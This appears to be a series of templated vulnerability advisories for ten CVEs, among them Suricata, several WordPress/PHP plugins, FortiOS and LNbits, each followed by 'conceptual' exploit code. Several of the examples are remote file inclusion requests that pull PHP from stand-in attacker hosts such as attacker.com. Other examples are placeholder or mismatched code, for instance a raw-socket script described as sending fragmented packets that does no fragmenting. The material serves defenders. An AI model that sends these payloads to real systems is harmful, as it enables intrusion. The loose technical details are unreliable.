Author: Ameeba

Overview

The network Intrusion Detection System (IDS), Intrusion Prevention System (IPS), and Network Security Monitoring engine, Suricata, is susceptible to a significant vulnerability, CVE-2025-29915. This vulnerability, if exploited, could potentially lead to a system compromise or data leakage. The compromise arises due to the default packet size in Suricata, which is based on the network interface MTU, causing truncated packets to be seen by Suricata.

Vulnerability Summary

CVE ID: CVE-2025-29915
Severity: High, CVSS score of 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Suricata Network Security Monitoring Engine | Versions prior to 7.0.9

How the Exploit Works

The exploit takes advantage of the AF_PACKET defrag option in Suricata, which is enabled by default. This option allows AF_PACKET to re-assemble fragmented packets before reaching Suricata. However, because the default packet size in Suricata is based on the network interface MTU, Suricata can end up seeing truncated packets. If an attacker sends a maliciously fragmented packet, it can achieve a successful exploit.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a simple script that sends fragmented packets to a target:

import socket
target_ip = "target.example.com"
packet = b"malicious_payload"
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.sendto(packet, (target_ip, 0))

This script sends a raw packet to a target IP. The payload is intentionally fragmented, which could lead to the exploitation of the Suricata vulnerability.

Overview

A significant cybersecurity concern has been identified in Panasonic IR Control Hub (IR Blaster) versions 1.17 and earlier, known as CVE-2025-1073. This vulnerability, if exploited, enables an attacker with physical access to load unauthorized firmware onto the device. Such a situation could lead to system compromise or data leakage, affecting the privacy and security of users.

Vulnerability Summary

CVE ID: CVE-2025-1073
Severity: High (CVSS: 7.5)
Attack Vector: Physical
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Panasonic IR Control Hub (IR Blaster) | 1.17 and earlier

How the Exploit Works

The vulnerability CVE-2025-1073 in the Panasonic IR Control Hub can be exploited by an attacker with physical access to the device. The attacker can load unauthorized firmware onto the device. This unauthorized firmware can be designed to compromise the system, potentially allowing the attacker to gain control of the device, alter its functionality, or extract sensitive data.

Conceptual Example Code

This example demonstrates the conceptual process of an attack exploiting this vulnerability. However, the actual exploit would require physical access and specific firmware manipulation tools.

# Connect device to firmware manipulation tool
connect_tool.sh --device-id DEVICE_ID --tool-id TOOL_ID
# Backup current firmware
backup_firmware.sh --device-id DEVICE_ID --backup-file BACKUP_FILE
# Load unauthorized firmware
load_firmware.sh --device-id DEVICE_ID --firmware-file UNAUTHORIZED_FIRMWARE
# Reboot the device
reboot_device.sh --device-id DEVICE_ID

Please note that this is a conceptual example and the actual process may vary depending on the specific tools and unauthorized firmware used by the attacker.

Overview

This report discusses the recently discovered high-risk vulnerability, CVE-2025-22279, affecting the Crocoblock JetCompareWishlist. The vulnerability is a PHP Remote File Inclusion flaw resulting from improper control of filename for Include/Require Statement in PHP Program. This critical issue can potentially lead to system compromise or data leakage if exploited, making it a significant concern for anyone using this software.

Vulnerability Summary

CVE ID: CVE-2025-22279
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Crocoblock JetCompareWishlist | Up to and including 1.5.9

How the Exploit Works

The vulnerability stems from the improper control of filename for Include/Require Statement in JetCompareWishlist’s PHP program. A remote attacker can exploit this flaw by providing manipulated input, possibly via URL parameters, to include a remote file. This remote file can contain malicious PHP code that can lead to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerable_site.com

In this example, the attacker is exploiting the vulnerability by injecting a malicious file hosted on their server (`attacker.com`) into the vulnerable application via the `file` URL parameter.

Solutions and Mitigations

Users are strongly advised to apply the vendor-supplied patch to fix this vulnerability. If the patch cannot be installed immediately, using Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. This will however not eliminate the vulnerability but can help detect and block attempts to exploit it.

Overview

The CVE-2025-32160 vulnerability represents a significant risk to systems running the EventON software, specifically versions through 2.3.2. This high-severity issue stems from the PHP Remote File Inclusion, arising from improper control of filename for include/require statement in PHP Program. The vulnerability could potentially lead to a system compromise or data leakage, making immediate attention and mitigation crucial.

Vulnerability Summary

CVE ID: CVE-2025-32160
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

EventON | Up to and including 2.3.2

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in the PHP program within EventON. An attacker could manipulate the filename to include a file from a remote server, thus allowing the attacker’s code to be executed in the context of the affected server. This can lead to unauthorized access, data leakage, or even system compromise.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited is as follows:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/php
<?php include 'http://attacker.com/malicious_script.php'; ?>

In this example, the attacker is able to include a malicious PHP script from their own server into the target’s server via the PHP include function. Once included, the malicious script could be executed, potentially leading to various adverse impacts.

Mitigation

The best form of mitigation is to apply the vendor’s patch for this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is recommended to limit the privileges of the web server and regularly monitor system logs for any unusual activity.

Overview

CVE-2025-32158 is a significant vulnerability that primarily impacts aThemes Addons for Elementor. Due to improper control of filename for Include/Require Statement in PHP Program, this issue presents a critical threat with a potential for system compromise or data leakage. It’s important because aThemes Addons for Elementor is widely used, and the exploitation of this vulnerability can lead to serious security breaches, affecting numerous websites and their associated data.

Vulnerability Summary

CVE ID: CVE-2025-32158
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

aThemes Addons for Elementor | n/a through 1.0.15

How the Exploit Works

The vulnerability arises due to the flawed control of filename for Include/Require Statement in PHP Program. An attacker could manipulate these statements and include a remote file hosted on a malicious server. This file could contain code that, when executed, could lead to a full system compromise or unintended data leakage.

Conceptual Example Code

Given the nature of this vulnerability, an attacker might exploit it by sending a specially crafted HTTP request, such as:

GET /path/to/vulnerable/script.php?file=http://malicious.example.com/malicious_payload.php HTTP/1.1
Host: target.example.com

Here, the “file” parameter is being manipulated to include a remote file from a malicious server.

Countermeasures

The recommended countermeasure for this vulnerability is to apply the vendor patch when available. Until the patch is released, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating and patching software can significantly reduce the risk of exploitation.

Overview

This report analyzes the critical vulnerabilities identified as CVE-2023-37930 found in Fortinet’s FortiOS and FortiProxy SSL VPN Webmode. These vulnerabilities can lead to severe consequences, such as system compromise and data leakage, affecting all VPN users who are using the specified version of the software. Given the high-risk factor, this issue requires immediate attention and rectification.

Vulnerability Summary

CVE ID: CVE-2023-37930
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Fortinet FortiOS SSL VPN webmode | 7.4.0, 7.2.0 through 7.2.5, 7.0.1 through 7.0.11, 6.4.7 through 6.4.14
Fortinet FortiProxy SSL VPN webmode | 7.2.0 through 7.2.6, 7.0.0 through 7.0.12

How the Exploit Works

The vulnerabilities arise from the use of uninitialized resources and excessive iteration, leading to memory corruption. A malicious VPN user can exploit these vulnerabilities by sending specifically crafted requests to the server. The server, after processing these requests, can inadvertently execute code or commands leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example illustrating how a malicious request might be crafted:

POST /vpn/authentication/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user": "valid_user",
"password": "valid_password",
"malicious_command": "crafted_command_to_exploit_vulnerability"
}

In the above example, the `”malicious_command”` is the payload that exploits the vulnerabilities. The actual payload would depend on the exact mechanisms of the uninitialized resources and excessive iteration vulnerabilities.

Overview

The Apollo Compiler, a query-based compiler for the GraphQL query language, is susceptible to a vulnerability that could lead to denial of service attacks and potential system compromise or data leakage. This vulnerability, known as CVE-2025-31496, is particularly significant as it affects any system using versions of the Apollo Compiler prior to 1.27.0. It is of utmost importance to address this vulnerability due to its potential to consume excessive system resources and compromise data security.

Vulnerability Summary

CVE ID: CVE-2025-31496
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Excessive resource consumption potentially leading to denial of service and potential for system compromise or data leakage

Affected Products

Product | Affected Versions

Apollo Compiler | Prior to 1.27.0

How the Exploit Works

The vulnerability lies in the handling of named fragments during query validation in the Apollo Compiler. In versions prior to 1.27.0, named fragments were processed once per fragment spread in some cases, which led to exponential resource usage when deeply nested and reused fragments were involved. An attacker can exploit this vulnerability by sending a specially crafted GraphQL query with deeply nested and reused named fragments, causing the system to use excessive resources, potentially leading to a denial of service.

Conceptual Example Code

The following is a conceptual example of a GraphQL query that could potentially exploit this vulnerability:

POST /graphql HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"query" : "{
...Fragment
}
fragment Fragment on Type {
field
...Fragment
}"
}

In the above example, the fragment “Fragment” is being recursively reused within itself, leading to a deeply nested query that could cause exponential resource usage, potentially leading to a denial of service.

Overview

The CVE-2024-33058 vulnerability is a severe security flaw that could potentially compromise systems or lead to data leakage. Memory corruption occurs during the assignment of memory from the source DDR memory (HLOS) to ADSP. This vulnerability presents a significant risk to any system that uses ADSP, given its high CVSS severity score and the potential for data compromise.

Vulnerability Summary

CVE ID: CVE-2024-33058
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

ADSP Software | All prior to patch
Embedded Systems using ADSP | All prior to patch

How the Exploit Works

The exploit takes advantage of the memory corruption that occurs during the assignment of memory from the source DDR memory (HLOS) to ADSP. An attacker could manipulate this corruption to gain unauthorized access to the system or to leak sensitive data. The vulnerability does not require user interaction, and thus, is particularly dangerous as it can be exploited remotely and without notice.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. This pseudocode simulates an attacker sending a malformed packet to trigger the memory corruption:

def exploit(target_ip):
packet = create_malformed_packet()
send_packet(target_ip, packet)
def create_malformed_packet():
packet = Packet()
packet.set_payload(generate_corrupt_data())
return packet
def generate_corrupt_data():
# Generate data that causes memory corruption
return "malicious_data"
def send_packet(ip, packet):
# Send the packet to the target IP
pass
exploit("target_ip")

Please note that this is a conceptual example and does not represent a real-world attack scenario.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as possible to mitigate the vulnerability. As a temporary measure, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent potential exploitation attempts.

Overview

This report discusses a significant Server Side Request Forgery (SSRF) vulnerability, identified as CVE-2025-32013, within the LNbits’ LNURL authentication handling functionality. This vulnerability poses a potential threat to system security and data confidentiality. It affects all entities utilizing LNbits, a popular Lightning wallet and accounts system. The vulnerability allows unauthorized access to internal network addresses, thereby compromising system data.

Vulnerability Summary

CVE ID: CVE-2025-32013
Severity: High (CVSS Score 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

LNbits | All versions prior to patched release

How the Exploit Works

The LNbits’ LNURL authentication handling functionality processes authentication requests without properly validating the callback URL. It accepts a callback URL parameter and makes an HTTP request to that URL using the httpx library. With redirect following enabled, an attacker can manipulate the callback URL to specify internal network addresses. This allows unauthorized access to internal resources, potentially leading to system compromise and data leakage.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited using a malicious HTTP request:

GET /lnurl-auth?callback=http://internal-network-resource HTTP/1.1
Host: vulnerable-lnbits-server

In this example, the attacker specifies an internal network resource as the callback URL. The LNbits server, failing to validate the URL, makes a request to this internal resource, potentially exposing sensitive information or functionality to the attacker.

Mitigation Guidance

To mitigate the potential impact of this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as a temporary mitigation strategy. These systems can help detect and prevent malicious requests exploiting this vulnerability.

Overview

This report details a significant vulnerability (CVE-2024-13604) affecting WordPress’s KB Support – Customer Support Ticket & Helpdesk Plugin. This vulnerability allows unauthenticated attackers to extract sensitive information stored insecurely, potentially leading to system compromise or data leakage. Given the pervasive use of WordPress and its plugins, this vulnerability can have extensive impacts on various websites and their users.

Vulnerability Summary

CVE ID: CVE-2024-13604
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

KB Support – Customer Support Ticket & Helpdesk Plugin | <= 1.7.4 How the Exploit Works

The vulnerability exists in KB Support – Customer Support Ticket & Helpdesk Plugin for WordPress due to insecure storage of data in the ‘kbs’ directory. Unauthenticated attackers can exploit this by accessing the ‘/wp-content/uploads/kbs’ directory, which may contain sensitive file attachments included in support tickets.

Conceptual Example Code

Below is a conceptual example of how an HTTP request to the vulnerable endpoint might look:

GET /wp-content/uploads/kbs/sensitive_file.txt HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker sends an HTTP GET request to retrieve a sensitive file (sensitive_file.txt) from the insecurely stored directory.

Mitigation Guidance

The best way to mitigate this vulnerability is by applying the vendor’s patch. If the patch cannot be applied immediately, a temporary solution would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.